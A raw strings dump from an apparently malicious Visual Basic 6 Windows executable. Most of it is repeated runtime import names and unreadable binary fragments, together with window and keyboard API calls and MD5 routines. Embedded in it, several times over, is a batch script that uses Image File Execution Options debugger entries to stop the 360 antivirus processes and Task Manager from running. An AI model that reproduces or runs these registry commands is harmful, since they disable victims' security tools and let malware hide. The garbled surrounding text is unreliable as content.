__vbaVarDup
__vbaOnError
__vbaFixstrConstruct
__vbaErrorOverflow
__vbaAryDestruct
__vbaFreeVarList
__vbaAryUnlock
__vbaAryLock
__vbaFreeStrList
__vbaVarTstNe
__vbaFreeObj
__vbaHresultCheckObj
__vbaObjSet
__vbaVarMove
__vbaError
__vbaFreeStr
__vbaDerefAry1
__vbaStrCopy
__vbaI4Var
__vbaRedimPreserve
__vbaVarAdd
__vbaLenBstr
__vbaFreeVar
__vbaStrCat
__vbaStrMove
__vbaI2I4
__vbaUI1I2
__vbaAryConstruct2
__vbaFpUI1
__vbaVarCat
__vbaStrVarMove
__vbaUI1I4
__vbaVar2Vec
__vbaGosubFree
__vbaExitProc
__vbaGetOwner3
__vbaGosub
__vbaErase
__vbaLenVarB
__vbaAryMove
__vbaGenerateBoundsError
__vbaStrI4
FileType
SourceString
InFile
InputLen
InputBuffer
}}}}}}}|l\EWEPE
EPlPEPt
MJSEP.PSj
M3EPPu
lXEP@Puy0@X
XP7M)j
tSlPEP
XMfXf9X
#fXEPEPj
EPlPEPt
MSEPPSj
MEPPux
uEPEPj
SEP*L]L9E
MEPHEPEPj
MX|PEPj
} jdh<3@
hPEPEPE
} jPh3@
} jXh3@
MEPEPEPEPj
hPfEhOE
uujj E
MhPEPEPE
HP8P(PPPEP|
P|PEPEP9P
P|PDEPEPP
jj MmE
;PEP7E
PxP8PHP(PP
PPPPPPPP{PxPhPgj
EPXPJ
M9hPxPPPPPPPPP
PHP8PXPhPj
PxPx|x
} jPh3@
} jXh3@
1EPEPEPEPj
EPEPEPEPj
XPhPxPPPPPPPPP
P(P8PHPXPhPj
LSVWeE
VuEPgP3
EPHM`EUM
McM+MS
PEPDEEPE
jTh,3@
jPh,3@
EP@Pu>MDE
SVWeEP
SVWeE`
M_h6]@
SVWeEp
MKhJ^@
TSVWeE
]]]]P8;}
VPHEPEP
P$MQMQE
j@WVPM
MQVP4;}
UM]h_@
EP3S#EPS
j\XXSVWeE
PPuVj@YE
M/M'MO
HSVWeE
VEPEP}}}
EWEPEP+P
WVEPEP]E
MJEPEP
3EPEPj
4SVWeE
QV}}}}
QVPLuuB
EPEPEPEPEPEPj
EPEPEPEPEPEPj
E_EEPE
P]}u-EPEPEP"P"
MEPEPj
>EEEPE
Es^uS'EEEEPEP}u;EPEPEP0P0
MEPEPEPj
EEEEPEP}uEPEPEP
EEEEPEP}u1EPEPEP&P&
MEPEPEPj
EEEEPEP}u
EPEPEP
EEPEP}u
EPEPEP
EPEPEPj
EEPEP}unEPEPEPcPc
M)EPEPj
EPEPEPj
SVWeE0
MQMQ}}]V}~PPp
MQMQVPp
MQMQVPp
MQMQVPpFDMH
XSVWeE8
EP]]]]
EEj@_]E
jxX+MQM
MQMQVPpM
MQMQVPpE]E=
MQMQVPpE]E=
MQMQVPpE]E=
MQMEQE
VPOhl@
LSVWeEH
NPj@_e
f;EE~]
E\f;EE
VPPfEf
HSVWeEP
EEEEEEEEh9@
MQEMEQE
MQMQMQu
MQMQMQMQVExjE
MQMQMQM
QMQMQMQMQEVE
MQMQMQM
QMQMQMQMQVEp $]PXj
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME*
QMQMQMQMQVPX
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVPX
MQMQMQM
(QMQMQMQMQVE[]PX
MQMQMQM
,QMQMQMQMQVE\}PX
MQMQMQM
0QMQMQME"
QMQVPX
MQMQMQM
4QMQMQMQMQVEqE
MQMQMQM
8QMQMQMQMQVECy]PX
MQMQMQM
<QMQMQMQMQVE!
MQMQMQMEb%
QMQMQMQMQVP\
MQMQMQM
QMQMQMQMQVE@@E
MQMQMQM
,QMQMQMQMQVEQZ^&]P\j
MQMQMQu
MQMQMQMQVE
MQMQMQM
QMQMQMQMQVP\
MQMQMQM
(QMQMQMQMQVES
MQMQMQM
<QMQMQMQMQVE
MQMQMQM
QMQMQE}MQMQVP\
MQMQMQM
$QMQMQMQMQVE!E
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME
ZE} QMQMQMQMQVP\
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVEE
MQMQMQM
QMQMQMQMQVE
EL*}MQMQMQM
0QMQMQMQMQVP\j
MQMQMQM
QMQMQMQMQVEB9]P`
MQMQMQM
QMQMQMQMQVEqE
_MQMQMQM
,QME"am}QMQMQMQVP`
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVED
MQMQMQM
QMQMQMQMQVEKE
MQME`K}QMQM
QMQMQMQMQVP`
MQMQMQM
(QMQMQMQMQVEpE
MQMQMQM
4QMQMQMQMQVE~(]P`
MQMQMQu
MQMQMQMQVE'E
MQMQMQM
QMQMQMQMQVP`
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVE9
MQMQMQM
0QMQMQEE
MQMQVP`
MQMQMQM
<QMQMQMQMQVE|}P`
MQMQMQM
QMQMQMQMQVEeVE
MQMQMQu
MQMQMQMQVED")E
MQMQMQM
QMQMQMQMQVPd
MQMQMQM
8QMQMQMQMQVE#E
MQMQMQM
QMQMQMQMQVE9E
MQMQMQM
0QMQMQMQMQVEY[eE
QMQMQM
QMQMQMQMQVPd
MQMQMQM
(QMQMQMQMQVE}E
MQMQMQM
QMQMQMQMQVE]E
MQMQMQM
QMQMQMQMEO~oE
MQMQMQM
<QMQMQMQMQVE,E
MQMQMQM
QMQMQMQMQVE
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
MQMQMQMQVPd
MQMQMQM
,QMQMQMQMQVE5:E
MQMQMQM
QMQMQMQMQVE*E
MQMQMQM
$QMQMQMQMQVE
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
S3Wf8f
f;]]]]
QWVPlEM
QWVPlEM
QWVPlEM
QWVPlEM
SVWeE`
V3EEEE
MSVBVM60.DLL
_CIcos
_adj_fptan
__vbaStrI4
__vbaVarMove
__vbaAryMove
__vbaFreeVar
__vbaStrVarMove
__vbaLenBstr
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaError
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaAryDestruct
__vbaExitProc
__vbaVarForInit
__vbaObjSet
__vbaOnError
_adj_fdiv_m16i
_adj_fdivr_m16i
_CIsin
__vbaErase
__vbaChkstk
__vbaGosubFree
__vbaFileClose
EVENT_SINK_AddRef
__vbaGenerateBoundsError
__vbaAryConstruct2
__vbaPutOwner4
__vbaI2I4
DllFunctionCall
__vbaFpUI1
__vbaRedimPreserve
__vbaStrR4
_adj_fpatan
__vbaFixstrConstruct
__vbaRedim
EVENT_SINK_Release
__vbaNew
__vbaUI1I2
_CIsqrt
EVENT_SINK_QueryInterface
__vbaUI1I4
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaGosub
__vbaFPException
__vbaGetOwner3
__vbaStrVarVal
__vbaVarCat
__vbaGetOwner4
__vbaI2Var
__vbaLsetFixstrFree
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVar2Vec
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaVarSetObj
__vbaFreeStrList
__vbaDerefAry1
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarTstNe
__vbaI4Var
__vbaVarAdd
__vbaAryLock
__vbaVarDup
__vbaStrToAnsi
__vbaVarLateMemCallLd
__vbaFpI4
__vbaVarCopy
__vbaVarSetObjAddref
_CIatan
__vbaStrMove
__vbaStrVarCopy
_allmul
__vbaLenVarB
_CItan
__vbaAryUnlock
__vbaFPInt
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
C:\Users\Administrator\Desktop\
2.X.pdb
49431AAD794634219A639C6C541A3D96
E8A7EA76E1854769DE340A9B8C435D05
78493ED5434848C66C6270A8C3C17E8F
96782471E1F42F0E5192DEF8D34ADF52
62A15B7205C4F5C57A85B0D3069C33A9
9FFC7CA89A523E8929336726D7773437
D3436C5275093FAF2564D1686B09A90D
E3338793698E1606AF47D324D912D726
EC9586D14581D3BBA0F9E75718021738
E990C7F254AFFB40E4F8CC0788E2F17B
75210BD444E7C1EEF190F78A0DCA172A
CB42CF9E8D3246DB9A720B092AEE26F2
FD8FF6F17CFFED7E4027C391D213E9F4
84ED3022B3230383BE8BFCE903E68ACB
DCD5D9C1068016EED1E116CA204EF9F8
7657240CD389E40AA4025DEB5C25BC00
8873414D6F5B75AB87F38154C7B905CF
EEBF93AC4FEB29C8F93383A09026893C
D38CC0184E669F995CA57A9F446F0F1E
6C5692E410E692EEC72ED9822D257322
7B211DCB9A85583BF7B5E1411CF1ADB5
2B1A502D5E87E910FA9DAAC890660C3D
L!This program cannot be run in DOS mode.
#BBBL^B`BdBRichB
`.data
MSVBVM60.DLL
rjrbrrr
rvjrNr:
rrbr*<r}Artr
rr4ur9
r}irWr!NrwrSr+rgr
=r:r7ruBr
Vr2Cr:
rJlrr
rrar5r
r$br/Nrwr
rrpurkrmrIrr0lrF
yE81$HH
M%-:O3f
2.X By:znkzz
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
Timer2
Timer1
Label3
@echo off
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
Label2
Label1
Label1
yE81$H
VB5!6&vb6chs.dll
zE!~@Jke
Class1
yE81$H^pqD
Label1
+3qC:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
Timer1
Timer2
Label2
Label3
user32
keybd_event
GetForegroundWindow
user32.dll
GetWindowTextA
GetWindowTextLengthA
FindWindowA
SetWindowTextA
SearchFiles
getCaption
+3q"=h
+3qhJu
+3qClass
C:\windows\SysWow64\MSVBVM60.DLL\3
RegisterA
RegisterB
RegisterC
RegisterD
Md5_String_Calc
Md5_File_Calc
GetValues
MD5Init
MD5Final
MD5Update
LongLeftRotate
__vbaVarSetObjAddref
VBA6.DLL
__vbaStrVarVal
__vbaVarCopy
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaLsetFixstrFree
__vbaVarForNext
__vbaFpI4
__vbaFPInt
__vbaStrR4
__vbaVarLateMemCallLd
__vbaNew
__vbaVarSetObj
__vbaPutOwner4
__vbaStrVarCopy
__vbaPrintFile
__vbaI2Var
__vbaVarForInit
__vbaFileClose
__vbaGetOwner4
__vbaRedim
__vbaFileOpen
__vbaEnd
__vbaFreeObjList
__vbaNew2
__vbaVarDup
__vbaOnError
__vbaFixstrConstruct
__vbaErrorOverflow
__vbaAryDestruct
__vbaFreeVarList
__vbaAryUnlock
__vbaAryLock
__vbaFreeStrList
__vbaVarTstNe
__vbaFreeObj
__vbaHresultCheckObj
__vbaObjSet
__vbaVarMove
__vbaError
__vbaFreeStr
__vbaDerefAry1
__vbaStrCopy
__vbaI4Var
__vbaRedimPreserve
__vbaVarAdd
__vbaLenBstr
__vbaFreeVar
__vbaStrCat
__vbaStrMove
__vbaI2I4
__vbaUI1I2
__vbaAryConstruct2
__vbaFpUI1
__vbaVarCat
__vbaStrVarMove
__vbaUI1I4
__vbaVar2Vec
__vbaGosubFree
__vbaExitProc
__vbaGetOwner3
__vbaGosub
__vbaErase
__vbaLenVarB
__vbaAryMove
__vbaGenerateBoundsError
__vbaStrI4
FileType
SourceString
InFile
InputLen
InputBuffer
}}}}}}}|l\EWEPE
EPlPEPt
MJSEP.PSj
M3EPPu
lXEP@Puy0@X
XP7M)j
tSlPEP
XMfXf9X
#fXEPEPj
EPlPEPt
MSEPPSj
MEPPux
uEPEPj
SEP*L]L9E
MEPHEPEPj
MX|PEPj
} jdh<3@
hPEPEPE
} jPh3@
} jXh3@
MEPEPEPEPj
hPfEhOE
uujj E
MhPEPEPE
HP8P(PPPEP|
P|PEPEP9P
P|PDEPEPP
jj MmE
;PEP7E
PxP8PHP(PP
PPPPPPPP{PxPhPgj
EPXPJ
M9hPxPPPPPPPPP
PHP8PXPhPj
PxPx|x
} jPh3@
} jXh3@
1EPEPEPEPj
EPEPEPEPj
XPhPxPPPPPPPPP
P(P8PHPXPhPj
LSVWeE
VuEPgP3
EPHM`EUM
McM+MS
PEPDEEPE
jTh,3@
jPh,3@
EP@Pu>MDE
SVWeEP
SVWeE`
M_h6]@
SVWeEp
MKhJ^@
TSVWeE
]]]]P8;}
VPHEPEP
P$MQMQE
j@WVPM
MQVP4;}
UM]h_@
EP3S#EPS
j\XXSVWeE
PPuVj@YE
M/M'MO
HSVWeE
VEPEP}}}
EWEPEP+P
WVEPEP]E
MJEPEP
3EPEPj
4SVWeE
QV}}}}
QVPLuuB
EPEPEPEPEPEPj
EPEPEPEPEPEPj
E_EEPE
P]}u-EPEPEP"P"
MEPEPj
>EEEPE
Es^uS'EEEEPEP}u;EPEPEP0P0
MEPEPEPj
EEEEPEP}uEPEPEP
EEEEPEP}u1EPEPEP&P&
MEPEPEPj
EEEEPEP}u
EPEPEP
EEPEP}u
EPEPEP
EPEPEPj
EEPEP}unEPEPEPcPc
M)EPEPj
EPEPEPj
SVWeE0
MQMQ}}]V}~PPp
MQMQVPp
MQMQVPp
MQMQVPpFDMH
XSVWeE8
EP]]]]
EEj@_]E
jxX+MQM
MQMQVPpM
MQMQVPpE]E=
MQMQVPpE]E=
MQMQVPpE]E=
MQMEQE
VPOhl@
LSVWeEH
NPj@_e
f;EE~]
E\f;EE
VPPfEf
HSVWeEP
EEEEEEEEh9@
MQEMEQE
MQMQMQu
MQMQMQMQVExjE
MQMQMQM
QMQMQMQMQEVE
MQMQMQM
QMQMQMQMQVEp $]PXj
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME*
QMQMQMQMQVPX
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVPX
MQMQMQM
(QMQMQMQMQVE[]PX
MQMQMQM
,QMQMQMQMQVE\}PX
MQMQMQM
0QMQMQME"
QMQVPX
MQMQMQM
4QMQMQMQMQVEqE
MQMQMQM
8QMQMQMQMQVECy]PX
MQMQMQM
<QMQMQMQMQVE!
MQMQMQMEb%
QMQMQMQMQVP\
MQMQMQM
QMQMQMQMQVE@@E
MQMQMQM
,QMQMQMQMQVEQZ^&]P\j
MQMQMQu
MQMQMQMQVE
MQMQMQM
QMQMQMQMQVP\
MQMQMQM
(QMQMQMQMQVES
MQMQMQM
<QMQMQMQMQVE
MQMQMQM
QMQMQE}MQMQVP\
MQMQMQM
$QMQMQMQMQVE!E
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME
ZE} QMQMQMQMQVP\
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVEE
MQMQMQM
QMQMQMQMQVE
EL*}MQMQMQM
0QMQMQMQMQVP\j
MQMQMQM
QMQMQMQMQVEB9]P`
MQMQMQM
QMQMQMQMQVEqE
_MQMQMQM
,QME"am}QMQMQMQVP`
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVED
MQMQMQM
QMQMQMQMQVEKE
MQME`K}QMQM
QMQMQMQMQVP`
MQMQMQM
(QMQMQMQMQVEpE
MQMQMQM
4QMQMQMQMQVE~(]P`
MQMQMQu
MQMQMQMQVE'E
MQMQMQM
QMQMQMQMQVP`
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVE9
MQMQMQM
0QMQMQEE
MQMQVP`
MQMQMQM
<QMQMQMQMQVE|}P`
MQMQMQM
QMQMQMQMQVEeVE
MQMQMQu
MQMQMQMQVED")E
MQMQMQM
QMQMQMQMQVPd
MQMQMQM
8QMQMQMQMQVE#E
MQMQMQM
QMQMQMQMQVE9E
MQMQMQM
0QMQMQMQMQVEY[eE
QMQMQM
QMQMQMQMQVPd
MQMQMQM
(QMQMQMQMQVE}E
MQMQMQM
QMQMQMQMQVE]E
MQMQMQM
QMQMQMQMEO~oE
MQMQMQM
<QMQMQMQMQVE,E
MQMQMQM
QMQMQMQMQVE
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
MQMQMQMQVPd
MQMQMQM
,QMQMQMQMQVE5:E
MQMQMQM
QMQMQMQMQVE*E
MQMQMQM
$QMQMQMQMQVE
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
S3Wf8f
f;]]]]
QWVPlEM
QWVPlEM
QWVPlEM
QWVPlEM
SVWeE`
V3EEEE
MSVBVM60.DLL
_CIcos
_adj_fptan
__vbaStrI4
__vbaVarMove
__vbaAryMove
__vbaFreeVar
__vbaStrVarMove
__vbaLenBstr
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaError
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaAryDestruct
__vbaExitProc
__vbaVarForInit
__vbaObjSet
__vbaOnError
_adj_fdiv_m16i
_adj_fdivr_m16i
_CIsin
__vbaErase
__vbaChkstk
__vbaGosubFree
__vbaFileClose
EVENT_SINK_AddRef
__vbaGenerateBoundsError
__vbaAryConstruct2
__vbaPutOwner4
__vbaI2I4
DllFunctionCall
__vbaFpUI1
__vbaRedimPreserve
__vbaStrR4
_adj_fpatan
__vbaFixstrConstruct
__vbaRedim
EVENT_SINK_Release
__vbaNew
__vbaUI1I2
_CIsqrt
EVENT_SINK_QueryInterface
__vbaUI1I4
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaGosub
__vbaFPException
__vbaGetOwner3
__vbaStrVarVal
__vbaVarCat
__vbaGetOwner4
__vbaI2Var
__vbaLsetFixstrFree
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVar2Vec
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaVarSetObj
__vbaFreeStrList
__vbaDerefAry1
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarTstNe
__vbaI4Var
__vbaVarAdd
__vbaAryLock
__vbaVarDup
__vbaStrToAnsi
__vbaVarLateMemCallLd
__vbaFpI4
__vbaVarCopy
__vbaVarSetObjAddref
_CIatan
__vbaStrMove
__vbaStrVarCopy
_allmul
__vbaLenVarB
_CItan
__vbaAryUnlock
__vbaFPInt
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
C:\Users\Administrator\Desktop\
2.X.pdb
49431AAD794634219A639C6C541A3D96
E8A7EA76E1854769DE340A9B8C435D05
78493ED5434848C66C6270A8C3C17E8F
96782471E1F42F0E5192DEF8D34ADF52
62A15B7205C4F5C57A85B0D3069C33A9
9FFC7CA89A523E8929336726D7773437
D3436C5275093FAF2564D1686B09A90D
E3338793698E1606AF47D324D912D726
EC9586D14581D3BBA0F9E75718021738
1F6866DA5904181AB78CB92397A612F3
L!This program cannot be run in DOS mode.
#BBBL^B`BdBRichB
`.data
MSVBVM60.DLL
rjrbrrr
rvjrNr:
rrbr*<r}Artr
rr4ur9
r}irWr!NrwrSr+rgr
=r:r7ruBr
Vr2Cr:
rJlrr
rrar5r
r$br/Nrwr
rrpurkrmrIrr0lrF
yE81$HH
M%-:O3f
2.X By:znkzz
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
Timer2
Timer1
Label3
@echo off
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
Label2
Label1
Label1
yE81$H
VB5!6&vb6chs.dll
zE!~@Jke
Class1
yE81$H^pqD
Label1
+3qC:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
Timer1
Timer2
Label2
Label3
user32
keybd_event
GetForegroundWindow
user32.dll
GetWindowTextA
GetWindowTextLengthA
FindWindowA
SetWindowTextA
SearchFiles
getCaption
+3q"=h
+3qhJu
+3qClass
C:\windows\SysWow64\MSVBVM60.DLL\3
RegisterA
RegisterB
RegisterC
RegisterD
Md5_String_Calc
Md5_File_Calc
GetValues
MD5Init
MD5Final
MD5Update
LongLeftRotate
__vbaVarSetObjAddref
VBA6.DLL
__vbaStrVarVal
__vbaVarCopy
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaLsetFixstrFree
__vbaVarForNext
__vbaFpI4
__vbaFPInt
__vbaStrR4
__vbaVarLateMemCallLd
__vbaNew
__vbaVarSetObj
__vbaPutOwner4
__vbaStrVarCopy
__vbaPrintFile
__vbaI2Var
__vbaVarForInit
__vbaFileClose
__vbaGetOwner4
__vbaRedim
__vbaFileOpen
__vbaEnd
__vbaFreeObjList
__vbaNew2
__vbaVarDup
__vbaOnError
__vbaFixstrConstruct
__vbaErrorOverflow
__vbaAryDestruct
__vbaFreeVarList
__vbaAryUnlock
__vbaAryLock
__vbaFreeStrList
__vbaVarTstNe
__vbaFreeObj
__vbaHresultCheckObj
__vbaObjSet
__vbaVarMove
__vbaError
__vbaFreeStr
__vbaDerefAry1
__vbaStrCopy
__vbaI4Var
__vbaRedimPreserve
__vbaVarAdd
__vbaLenBstr
__vbaFreeVar
__vbaStrCat
__vbaStrMove
__vbaI2I4
__vbaUI1I2
__vbaAryConstruct2
__vbaFpUI1
__vbaVarCat
__vbaStrVarMove
__vbaUI1I4
__vbaVar2Vec
__vbaGosubFree
__vbaExitProc
__vbaGetOwner3
__vbaGosub
__vbaErase
__vbaLenVarB
__vbaAryMove
__vbaGenerateBoundsError
__vbaStrI4
FileType
SourceString
InFile
InputLen
InputBuffer
}}}}}}}|l\EWEPE
EPlPEPt
MJSEP.PSj
M3EPPu
lXEP@Puy0@X
XP7M)j
tSlPEP
XMfXf9X
#fXEPEPj
EPlPEPt
MSEPPSj
MEPPux
uEPEPj
SEP*L]L9E
MEPHEPEPj
MX|PEPj
} jdh<3@
hPEPEPE
} jPh3@
} jXh3@
MEPEPEPEPj
hPfEhOE
uujj E
MhPEPEPE
HP8P(PPPEP|
P|PEPEP9P
P|PDEPEPP
jj MmE
;PEP7E
PxP8PHP(PP
PPPPPPPP{PxPhPgj
EPXPJ
M9hPxPPPPPPPPP
PHP8PXPhPj
PxPx|x
} jPh3@
} jXh3@
1EPEPEPEPj
EPEPEPEPj
XPhPxPPPPPPPPP
P(P8PHPXPhPj
LSVWeE
VuEPgP3
EPHM`EUM
McM+MS
PEPDEEPE
jTh,3@
jPh,3@
EP@Pu>MDE
SVWeEP
SVWeE`
M_h6]@
SVWeEp
MKhJ^@
TSVWeE
]]]]P8;}
VPHEPEP
P$MQMQE
j@WVPM
MQVP4;}
UM]h_@
EP3S#EPS
j\XXSVWeE
PPuVj@YE
M/M'MO
HSVWeE
VEPEP}}}
EWEPEP+P
WVEPEP]E
MJEPEP
3EPEPj
4SVWeE
QV}}}}
QVPLuuB
EPEPEPEPEPEPj
EPEPEPEPEPEPj
E_EEPE
P]}u-EPEPEP"P"
MEPEPj
>EEEPE
Es^uS'EEEEPEP}u;EPEPEP0P0
MEPEPEPj
EEEEPEP}uEPEPEP
EEEEPEP}u1EPEPEP&P&
MEPEPEPj
EEEEPEP}u
EPEPEP
EEPEP}u
EPEPEP
EPEPEPj
EEPEP}unEPEPEPcPc
M)EPEPj
EPEPEPj
SVWeE0
MQMQ}}]V}~PPp
MQMQVPp
MQMQVPp
MQMQVPpFDMH
XSVWeE8
EP]]]]
EEj@_]E
jxX+MQM
MQMQVPpM
MQMQVPpE]E=
MQMQVPpE]E=
MQMQVPpE]E=
MQMEQE
VPOhl@
LSVWeEH
NPj@_e
f;EE~]
E\f;EE
VPPfEf
HSVWeEP
EEEEEEEEh9@
MQEMEQE
MQMQMQu
MQMQMQMQVExjE
MQMQMQM
QMQMQMQMQEVE
MQMQMQM
QMQMQMQMQVEp $]PXj
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME*
QMQMQMQMQVPX
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVPX
MQMQMQM
(QMQMQMQMQVE[]PX
MQMQMQM
,QMQMQMQMQVE\}PX
MQMQMQM
0QMQMQME"
QMQVPX
MQMQMQM
4QMQMQMQMQVEqE
MQMQMQM
8QMQMQMQMQVECy]PX
MQMQMQM
<QMQMQMQMQVE!
MQMQMQMEb%
QMQMQMQMQVP\
MQMQMQM
QMQMQMQMQVE@@E
MQMQMQM
,QMQMQMQMQVEQZ^&]P\j
MQMQMQu
MQMQMQMQVE
MQMQMQM
QMQMQMQMQVP\
MQMQMQM
(QMQMQMQMQVES
MQMQMQM
<QMQMQMQMQVE
MQMQMQM
QMQMQE}MQMQVP\
MQMQMQM
$QMQMQMQMQVE!E
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME
ZE} QMQMQMQMQVP\
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVEE
MQMQMQM
QMQMQMQMQVE
EL*}MQMQMQM
0QMQMQMQMQVP\j
MQMQMQM
QMQMQMQMQVEB9]P`
MQMQMQM
QMQMQMQMQVEqE
_MQMQMQM
,QME"am}QMQMQMQVP`
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVED
MQMQMQM
QMQMQMQMQVEKE
MQME`K}QMQM
QMQMQMQMQVP`
MQMQMQM
(QMQMQMQMQVEpE
MQMQMQM
4QMQMQMQMQVE~(]P`
MQMQMQu
MQMQMQMQVE'E
MQMQMQM
QMQMQMQMQVP`
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVE9
MQMQMQM
0QMQMQEE
MQMQVP`
MQMQMQM
<QMQMQMQMQVE|}P`
MQMQMQM
QMQMQMQMQVEeVE
MQMQMQu
MQMQMQMQVED")E
MQMQMQM
QMQMQMQMQVPd
MQMQMQM
8QMQMQMQMQVE#E
MQMQMQM
QMQMQMQMQVE9E
MQMQMQM
0QMQMQMQMQVEY[eE
QMQMQM
QMQMQMQMQVPd
MQMQMQM
(QMQMQMQMQVE}E
MQMQMQM
QMQMQMQMQVE]E
MQMQMQM
QMQMQMQMEO~oE
MQMQMQM
<QMQMQMQMQVE,E
MQMQMQM
QMQMQMQMQVE
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
MQMQMQMQVPd
MQMQMQM
,QMQMQMQMQVE5:E
MQMQMQM
QMQMQMQMQVE*E
MQMQMQM
$QMQMQMQMQVE
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
S3Wf8f
f;]]]]
QWVPlEM
QWVPlEM
QWVPlEM
QWVPlEM
SVWeE`
V3EEEE
MSVBVM60.DLL
_CIcos
_adj_fptan
__vbaStrI4
__vbaVarMove
__vbaAryMove
__vbaFreeVar
__vbaStrVarMove
__vbaLenBstr
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaError
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaAryDestruct
__vbaExitProc
__vbaVarForInit
__vbaObjSet
__vbaOnError
_adj_fdiv_m16i
_adj_fdivr_m16i
_CIsin
__vbaErase
__vbaChkstk
__vbaGosubFree
__vbaFileClose
EVENT_SINK_AddRef
__vbaGenerateBoundsError
__vbaAryConstruct2
__vbaPutOwner4
__vbaI2I4
DllFunctionCall
__vbaFpUI1
__vbaRedimPreserve
__vbaStrR4
_adj_fpatan
__vbaFixstrConstruct
__vbaRedim
EVENT_SINK_Release
__vbaNew
__vbaUI1I2
_CIsqrt
EVENT_SINK_QueryInterface
__vbaUI1I4
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaGosub
__vbaFPException
__vbaGetOwner3
__vbaStrVarVal
__vbaVarCat
